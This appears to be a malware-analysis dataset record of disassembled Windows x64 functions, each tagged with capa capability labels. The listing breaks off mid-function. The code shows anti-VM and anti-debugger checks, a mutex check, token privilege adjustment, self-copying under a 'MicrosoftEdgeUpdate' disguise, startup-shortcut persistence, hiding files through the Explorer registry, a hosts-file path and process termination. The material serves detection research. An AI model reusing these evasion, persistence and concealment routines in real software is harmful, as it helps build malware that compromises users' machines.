joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000354c
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x398]
sub rsp, 0x490
mov rax, qword [0x140032a48]
xor rax, rsp
mov qword [rbp + 0x380], rax
lea rcx, str.vmware.exe
call fcn.140005cb0
xor edi, edi
test al, al
jne 0x1400037af
lea rcx, str.vmware_vmx.exe
call fcn.140005cb0
test al, al
jne 0x1400037af
lea rcx, str.vboxservice.exe
call fcn.140005cb0
test al, al
jne 0x1400037af
lea rcx, str.vboxtray.exe
call fcn.140005cb0
test al, al
jne 0x1400037af
call fcn.140004884
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
cmp eax, 1
jne 0x1400035e6
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.1400016a4
mov esi, 0x104
lea rdx, [rbp + 0x170]
mov r8d, esi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x140003618
lea rcx, [rbp + 0x170]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov r8, rax
jmp 0x14000361f
lea r8, str.Unknown
or rbx, 0xffffffffffffffff
lea rcx, [rsp + 0x60]
mov rdx, rsi
mov r9, rbx
call fcn.14000d2f4
lea rdx, str.svchost.exe
lea rcx, [rsp + 0x60]
call fcn.14001bc34
test eax, eax
je 0x140003735
lea rcx, [rsp + 0x20]
call fcn.1400059b8
cmp qword [rsp + 0x38], 8
jb 0x140003668
mov rcx, qword [rsp + 0x20]
call fcn.14000c5e0
lea rsi, [0x1400480d0]
mov rcx, rsi
call fcn.140005598
lea rdx, str.MicrosoftEdgeUpdate
lea rcx, [rsp + 0x20]
mov r8d, 0x13
mov qword [rsp + 0x38], 7
mov qword [rsp + 0x30], rdi
mov word [rsp + 0x20], di
call fcn.140002468
cmp byte [0x1400480d0], dil
mov qword [rsp + 0x58], 0xf
mov qword [rsp + 0x50], rdi
mov byte [rsp + 0x40], dil
jne 0x1400036c2
mov rbx, rdi
jmp 0x1400036cb
inc rbx
cmp byte [rsi + rbx], dil
jne 0x1400036c2
lea rcx, [rsp + 0x40]
mov r8, rbx
mov rdx, rsi
call fcn.1400012e0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x40]
call fcn.140005704
cmp qword [rsp + 0x58], 0x10
jb 0x1400036fc
mov rcx, qword [rsp + 0x40]
call fcn.14000c5e0
cmp qword [rsp + 0x38], 8
mov qword [rsp + 0x58], 0xf
mov qword [rsp + 0x50], rdi
mov byte [rsp + 0x40], dil
jb 0x140003721
mov rcx, qword [rsp + 0x20]
call fcn.14000c5e0
call fcn.14000538c
call fcn.140001fd4
test eax, eax
jne 0x140003735
call fcn.140003410
int3
lea rdx, str.svchost.exe
lea rcx, [rsp + 0x60]
call fcn.14001bc34
test eax, eax
jne 0x1400037a6
lea r8, [0x140029400]
lea edx, [rax + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov rbx, rax
test rax, rax
je 0x140003783
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140003783
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rcx, [0x1400481e0]
call fcn.140005598
call fcn.14000314c
mov qword [0x1400481d8], rax
call fcn.140006c1c
call fcn.140003410
int3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x1400046b0
Capabilities:
Get file size
Read file via mapping

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push r14
sub rsp, 0x30
and qword [rax - 0x18], 0
mov rbx, r8
xor r9d, r9d
mov r14, rdx
mov rsi, rcx
lea edx, [r9 + 4]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rdi, rax
test rax, rax
jne 0x140004704
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140004751
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
xor ecx, ecx
mov r8d, 0x3000
mov edx, eax
lea r9d, [rcx + 4]
mov qword [r14], rdx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
je 0x140004700
mov r8, qword [r14]
mov rdx, rdi
mov rcx, rax
call fcn.14000bf60
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rsi
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
add rsp, 0x30
pop r14
ret

Function at 0x140004768
Capabilities:
Terminate process

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x18], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x140032a48]
xor rax, rsp
mov qword [rsp + 0x40], rax
xor edi, edi
or rsi, 0xffffffffffffffff
mov qword [r11 - 0x20], 7
mov qword [r11 - 0x28], rdi
mov word [rsp + 0x20], di
mov rbx, rcx
cmp word [rdx], di
jne 0x1400047ab
mov r8d, edi
jmp 0x1400047b8
mov r8, rsi
inc r8
cmp word [rdx + r8*2], di
jne 0x1400047ae
lea rcx, [rsp + 0x20]
call fcn.140002468
mov rax, qword [rbx]
cmp rax, qword [rbx + 8]
je 0x140004840
mov r11, qword [rsp + 0x30]
cmp qword [rax + 0x18], 8
mov r10, qword [rax + 0x10]
jb 0x1400047e0
mov rdx, qword [rax]
jmp 0x1400047e3
mov rdx, rax
cmp qword [rsp + 0x38], 8
lea r8, [rsp + 0x20]
mov r9, r10
cmovae r8, qword [rsp + 0x20]
cmp r11, r10
cmovb r9, r11
test r9, r9
jmp 0x140004817
movzx ecx, word [rdx]
cmp word [r8], cx
jne 0x14000486f
add r8, 2
add rdx, 2
dec r9
jne 0x140004803
mov ecx, edi
movsxd rdx, ecx
cmp r11, r10
mov ecx, edi
setne cl
cmp r11, r10
cmovb ecx, esi
test rdx, rdx
cmovne ecx, edx
test ecx, ecx
je 0x140004878
add rax, 0x20
cmp rax, qword [rbx + 8]
jne 0x1400047d0
cmp qword [rsp + 0x38], 8
jb 0x140004852
mov rcx, qword [rsp + 0x20]
call fcn.14000c5e0
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.14000bf30
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
sbb ecx, ecx
and ecx, 0xfffffffe
inc ecx
jmp 0x14000481b
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x14000538c
Capabilities:
Get token privileges

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x140032a48]
xor rax, rsp
mov qword [rsp + 0x40], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x38]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140005465
mov rcx, qword [rsp + 0x38]
and dword [rsp + 0x30], 0
xor r9d, r9d
lea rax, [rsp + 0x30]
lea edx, [r9 + 3]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov ecx, dword [rsp + 0x30]
call fcn.14000c798
mov r9d, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
mov rbx, rax
lea rax, [rsp + 0x30]
mov edx, 3
mov r8, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x140005452
xor ecx, ecx
cmp dword [rbx], ecx
jbe 0x140005431
mov eax, ecx
inc ecx
inc rax
lea rax, [rax + rax*2]
or dword [rbx + rax*4], 2
cmp ecx, dword [rbx]
jb 0x14000541e
and qword [rsp + 0x28], 0
mov r9d, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
and qword [rsp + 0x20], 0
mov r8, rbx
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.14000c758
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.14000bf30
add rsp, 0x50
pop rbx
ret

Function at 0x140005478
Capabilities:
Get common file path
Get disk information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x80]
sub rsp, 0x180
mov rax, qword [0x140032a48]
xor rax, rsp
mov qword [rbp + 0x70], rax
xor eax, eax
mov rdi, rcx
xor ebx, ebx
lea rcx, [rsp + 0x60]
mov edx, 0x104
mov byte [rsp + 0x58], bl
mov dword [rsp + 0x59], eax
mov word [rsp + 0x5d], ax
mov byte [rsp + 0x5f], al
mov dword [rsp + 0x40], ebx
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
movzx ecx, byte [rsp + 0x60]
mov dword [rsp + 0x38], ebx
lea edx, [rbx + 0x43]
test eax, eax
cmove ecx, edx
mov qword [rsp + 0x30], rbx
lea r9, [rsp + 0x40]
mov byte [rsp + 0x60], cl
mov byte [rsp + 0x58], cl
lea rcx, [rsp + 0x58]
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x28], rbx
mov word [rsp + 0x59], 0x5c3a
mov byte [rsp + 0x5b], bl
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov eax, dword [rsp + 0x40]
mov ecx, 0x69427551
imul eax, eax, 0x14a30b
sub eax, ecx
mov dword [rsp + 0x48], eax
imul eax, eax, 0x14a30b
sub eax, ecx
imul eax, eax, 0x14a30b
sub eax, ecx
mov word [rsp + 0x4e], ax
imul eax, eax, 0x14a30b
inc rbx
sub eax, ecx
mov byte [rsp + rbx + 0x4f], al
cmp rbx, 8
jl 0x14000553b
movzx r9d, word [rsp + 0x4e]
mov r8d, dword [rsp + 0x48]
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x52]
lea rdx, str._08lX_04lX_lu
mov rcx, rdi
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_wsprintfA]
mov rcx, qword [rbp + 0x70]
xor rcx, rsp
call fcn.14000bf30
lea r11, [rsp + 0x180]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x140005598
Capabilities:
Create directory
Get common file path

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140032a48]
xor rax, rsp
mov qword [rsp + 0x58], rax
xor edx, edx
mov rbx, rcx
lea rcx, [rsp + 0x31]
lea r8d, [rdx + 0x22]
mov byte [rsp + 0x30], 0
call fcn.14000fbd0
lea rcx, [rsp + 0x30]
call fcn.140005478
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x1a]
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea rdx, [0x140029404]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rdx, [0x140029404]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str..exe
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14000bf30
add rsp, 0x60
pop rbx
ret
Function at 0x140005704
Capabilities:
Create shortcut via ishelllink
Get common file path
Get startup folder

Disassembly:
mov rax, rsp
push rbp
push rsi
push rdi
lea rbp, [rax - 0x228]
sub rsp, 0x310
mov qword [rbp - 0x70], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov rax, qword [0x140032a48]
xor rax, rsp
mov qword [rbp + 0x200], rax
mov rdi, rdx
mov rbx, rcx
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
mov rdx, rbx
lea rcx, [rbp - 0x38]
call fcn.140005650
nop
lea rax, [rbp - 0x10]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea esi, [r9 + 7]
mov edx, esi
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov qword [rsp + 0x48], rsi
xor ebx, ebx
mov qword [rsp + 0x40], rbx
mov word [rsp + 0x30], bx
cmp word [rbp - 0x10], bx
jne 0x140005789
mov r8d, ebx
jmp 0x14000579b
lea rax, [rbp - 0x10]
or r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], bx
jne 0x140005791
lea rdx, [rbp - 0x10]
lea rcx, [rsp + 0x30]
call fcn.140002468
nop
lea r8, [0x14002941c]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.14000a470
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.14000a4bc
nop
lea r8, str..lnk
mov rdx, rax
lea rcx, [rbp - 0x58]
call fcn.14000a470
nop
cmp qword [rbp - 0x78], 8
jb 0x1400057f7
mov rcx, qword [rsp + 0x70]
call fcn.14000c5e0
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x80], rbx
mov word [rsp + 0x70], bx
cmp qword [rsp + 0x68], 8
jb 0x140005816
mov rcx, qword [rsp + 0x50]
call fcn.14000c5e0
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x60], rbx
mov word [rsp + 0x50], bx
cmp qword [rsp + 0x48], 8
jb 0x140005837
mov rcx, qword [rsp + 0x30]
call fcn.14000c5e0
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x40], rbx
mov word [rsp + 0x30], bx
mov qword [rbp - 0x68], rbx
lea rax, [rbp - 0x68]
mov qword [rsp + 0x20], rax
lea r9, [0x14002c030]
mov edi, 1
mov r8d, edi
xor edx, edx
lea rcx, [0x140028620]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x1400058db
lea rdx, [rbp - 0x38]
cmp qword [rbp - 0x20], 8
cmovae rdx, qword [rbp - 0x38]
mov rcx, qword [rbp - 0x68]
mov rax, qword [rcx]
call qword [rax + 0xa0]
mov qword [rbp - 0x60], rbx
mov rcx, qword [rbp - 0x68]
mov rax, qword [rcx]
lea r8, [rbp - 0x60]
lea rdx, [0x14002be60]
call qword [rax]
test eax, eax
js 0x1400058d1
lea rdx, [rbp - 0x58]
cmp qword [rbp - 0x40], 8
cmovae rdx, qword [rbp - 0x58]
mov rcx, qword [rbp - 0x60]
mov rax, qword [rcx]
mov r8d, edi
call qword [rax + 0x30]
mov rcx, qword [rbp - 0x60]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x68]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
nop
cmp qword [rbp - 0x40], 8
jb 0x1400058f2
mov rcx, qword [rbp - 0x58]
call fcn.14000c5e0
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x48], rbx
mov word [rbp - 0x58], bx
cmp qword [rbp - 0x20], 8
jb 0x14000590e
mov rcx, qword [rbp - 0x38]
call fcn.14000c5e0
mov rcx, qword [rbp + 0x200]
xor rcx, rsp
call fcn.14000bf30
mov rbx, qword [rsp + 0x340]
add rsp, 0x310
pop rdi
pop rsi
pop rbp
ret
Function at 0x140005930
Capabilities:
Set registry value

Disassembly:
sub rsp, 0x58
mov rax, qword [0x140032a48]
xor rax, rsp
mov qword [rsp + 0x40], rax
and dword [rsp + 0x38], 0
lea rax, [rsp + 0x30]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced
mov r9d, 2
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400059a6
mov rcx, qword [rsp + 0x30]
lea r9d, [rax + 4]
lea rax, [rsp + 0x38]
mov dword [rsp + 0x28], r9d
lea rdx, str.Hidden
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.14000bf30
add rsp, 0x58
ret
Function at 0x140005cb0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x270
mov rax, qword [0x140032a48]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
mov rsi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140005cef
xor al, al
jmp 0x140005d3f
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x238
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
xor ebx, ebx
test eax, eax
je 0x140005d34
jmp 0x140005d1e
lea rcx, [rsp + 0x4c]
mov rdx, rsi
call fcn.14000d180
test eax, eax
je 0x140005d32
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140005d0d
jmp 0x140005d34
mov bl, 1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.14000bf30
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x140005d64
Capabilities:
Enumerate processes

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x1a8]
sub rsp, 0x2a0
mov rax, qword [0x140032a48]
xor rax, rsp
mov qword [rbp + 0x198], rax
xor esi, esi
xor edx, edx
lea ecx, [rsi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140005db0
xor eax, eax
jmp 0x140005e8b
or eax, 0xffffffff
lea rdx, [rsp + 0x30]
mov rcx, rbx
mov dword [rsp + 0x30], 0x238
mov dword [rbp + 0x170], eax
mov dword [rbp + 0x174], eax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x140005e78
lea rdx, str.explorer.exe
lea rcx, [rsp + 0x5c]
call fcn.14001bc34
test eax, eax
jne 0x140005e6a
mov r8d, dword [rsp + 0x38]
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x140005e6a
lea rax, [rbp + 0x180]
lea r9, [rbp + 0x190]
lea r8, [rbp + 0x188]
lea rdx, [rbp + 0x178]
mov rcx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
test eax, eax
je 0x140005e61
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x178]
call qword [sym.imp.KERNEL32.dll_CompareFileTime]
test eax, eax
jns 0x140005e61
mov rax, qword [rbp + 0x178]
mov esi, dword [rsp + 0x38]
mov qword [rbp + 0x170], rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140005dda
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
mov rcx, qword [rbp + 0x198]
xor rcx, rsp
call fcn.14000bf30
lea r11, [rsp + 0x2a0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x140005eb4
Capabilities:
Enumerate processes
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x270
mov rax, qword [0x140032a48]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
mov rsi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140005f77
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x238
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x140005f6a
lea rax, [rsp + 0x4c]
mov rdx, rsi
sub rdx, rax
movzx ecx, word [rax]
movzx r8d, word [rax + rdx]
sub ecx, r8d
jne 0x140005f2c
add rax, 2
test r8d, r8d
jne 0x140005f16
test ecx, ecx
jne 0x140005f5c
mov r8d, dword [rsp + 0x28]
xor edx, edx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x140005f5c
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140005f0b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.14000bf30
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x14000629c
Capabilities:
Get common file path

Disassembly:
mov rax, rsp
push rdi
sub rsp, 0x260
mov qword [rsp + 0x28], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov rax, qword [0x140032a48]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov rdi, rcx
mov qword [rsp + 0x30], rcx
xor ebx, ebx
mov dword [rsp + 0x20], ebx
mov edx, 0x104
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov qword [rdi + 0x18], 7
mov qword [rdi + 0x10], rbx
mov word [rdi], bx
cmp word [rsp + 0x40], bx
je 0x14000630f
lea rcx, [rsp + 0x40]
or rax, 0xffffffffffffffff
inc rax
cmp word [rcx + rax*2], bx
jne 0x140006303
mov rbx, rax
mov r8, rbx
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.140002468
mov dword [rsp + 0x20], 1
lea rdx, str.driversetchosts
mov rcx, rdi
call fcn.140002288
mov rax, rdi
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.14000bf30
mov rbx, qword [rsp + 0x278]
add rsp, 0x260
pop rdi
ret
Function at 0x140008a3c
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0x90
mov qword [rbp - 0x19], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
mov rax, qword [0x140032a48]
xor rax, rsp
mov qword [rbp + 0x27], rax
movzx r14d, dx
mov rdi, rcx
mov ebx, 0xffff
xor esi, esi
cmp bx, dx
jne 0x140008a8b
movzx eax, si
jmp 0x140008c58
mov rax, qword [rcx + 0x40]
mov r8, qword [rax]
test r8, r8
je 0x140008ac8
mov rax, qword [rcx + 0x58]
movsxd r9, dword [rax]
lea rdx, [r8 + r9*2]
cmp r8, rdx
jae 0x140008ac8
lea ecx, [r9 - 1]
mov dword [rax], ecx
mov rdx, qword [rdi + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 2]
mov qword [rdx], rcx
mov word [r8], r14w
movzx eax, r14w
jmp 0x140008c58
cmp qword [rcx + 0x90], rsi
je 0x140008c55
mov rdx, qword [rcx + 0x18]
lea rax, [rcx + 0x80]
cmp qword [rdx], rax
jne 0x140008b03
mov rcx, qword [rcx + 0x70]
mov rax, qword [rdi + 0x68]
mov qword [rdx], rax
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
sub rcx, rcx
sar rcx, 1
mov rax, qword [rdi + 0x50]
mov dword [rax], ecx
cmp qword [rdi + 0x78], rsi
jne 0x140008b2b
mov rdx, qword [rdi + 0x90]
movzx ecx, r14w
call fcn.14000d788
cmp ax, bx
je 0x140008c55
movzx ebx, r14w
jmp 0x140008c55
mov word [rbp - 1], r14w
mov qword [rbp + 0x1f], 0xf
mov qword [rbp + 0x17], rsi
mov byte [rbp + 7], sil
xor r8d, r8d
lea edx, [r8 + 8]
lea rcx, [rbp + 7]
call fcn.140001218
nop
lea rdx, [rbp + 7]
cmp qword [rbp + 0x1f], 0x10
cmovae rdx, qword [rbp + 7]
lea r8, [rbp + 7]
cmovae r8, qword [rbp + 7]
mov rcx, qword [rdi + 0x78]
mov r10, qword [rcx]
add rdx, qword [rbp + 0x17]
lea rax, [rbp - 9]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], r8
lea rax, [rbp - 0x11]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 1]
lea r8, [rbp - 1]
lea rdx, [rdi + 0x84]
call qword [r10 + 0x38]
test eax, eax
js 0x140008c45
cmp eax, 1
jg 0x140008c27
lea rax, [rbp + 7]
mov r9, qword [rbp + 7]
mov r10, qword [rbp + 0x1f]
cmp r10, 0x10
cmovae rax, r9
mov r15, qword [rbp - 9]
sub r15, rax
je 0x140008bf1
lea rcx, [rbp + 7]
cmp r10, 0x10
cmovae rcx, r9
mov r9, qword [rdi + 0x90]
mov r8, r15
mov edx, 1
call fcn.14000edf4
cmp r15, rax
jne 0x140008c45
mov byte [rdi + 0x82], 1
lea rax, [rbp - 1]
cmp qword [rbp - 0x11], rax
jne 0x140008c41
test r15, r15
jne 0x140008b51
cmp qword [rbp + 0x17], 0x20
jae 0x140008c45
xor r8d, r8d
lea edx, [r15 + 8]
lea rcx, [rbp + 7]
call fcn.140002dd4
jmp 0x140008b51
cmp eax, 3
jne 0x140008c45
mov rdx, qword [rdi + 0x90]
movzx ecx, word [rbp - 1]
call fcn.14000d788
cmp ax, bx
je 0x140008c45
movzx ebx, r14w
cmp qword [rbp + 0x1f], 0x10
jb 0x140008c55
mov rcx, qword [rbp + 7]
call fcn.14000c5e0
movzx eax, bx
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.14000bf30
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
Function at 0x140009d98
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x40], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x140032a48]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov rdi, rcx
xor ebx, ebx
cmp qword [rcx + 0x78], rbx
je 0x140009ef7
cmp byte [rcx + 0x82], bl
je 0x140009ef7
mov rax, qword [rcx]
mov esi, 0xffff
mov edx, esi
call qword [rax + 0x18]
cmp si, ax
jne 0x140009dfd
xor al, al
jmp 0x140009efc
mov qword [rbp - 0x18], 0xf
mov qword [rbp - 0x20], rbx
mov byte [rbp - 0x30], bl
xor r8d, r8d
lea edx, [r8 + 8]
lea rcx, [rbp - 0x30]
call fcn.140001218
nop
mov esi, 1
lea rdx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0x10
cmovae rdx, qword [rbp - 0x30]
lea r8, [rbp - 0x30]
cmovae r8, qword [rbp - 0x30]
mov rcx, qword [rdi + 0x78]
mov r10, qword [rcx]
mov r9, qword [rbp - 0x20]
add r9, rdx
lea rax, [rbp - 0x38]
mov qword [rsp + 0x20], rax
lea rdx, [rdi + 0x84]
call qword [r10 + 0x40]
mov ecx, eax
test eax, eax
je 0x140009e67
dec ecx
jne 0x140009ed3
jmp 0x140009e6d
mov byte [rdi + 0x82], bl
lea rax, [rbp - 0x30]
mov r9, qword [rbp - 0x30]
mov r10, qword [rbp - 0x18]
cmp r10, 0x10
cmovae rax, r9
mov r14, qword [rbp - 0x38]
sub r14, rax
je 0x140009ead
lea rcx, [rbp - 0x30]
cmp r10, 0x10
cmovae rcx, r9
mov r9, qword [rdi + 0x90]
mov r8, r14
mov rdx, rsi
call fcn.14000edf4
cmp r14, rax
jne 0x140009edd
cmp byte [rdi + 0x82], bl
je 0x140009eda
test r14, r14
jne 0x140009e22
xor r8d, r8d
lea edx, [r14 + 8]
lea rcx, [rbp - 0x30]
call fcn.140002dd4
jmp 0x140009e22
cmp ecx, 2
jne 0x140009ee3
jmp 0x140009ee0
mov bl, sil
mov sil, bl
mov bl, sil
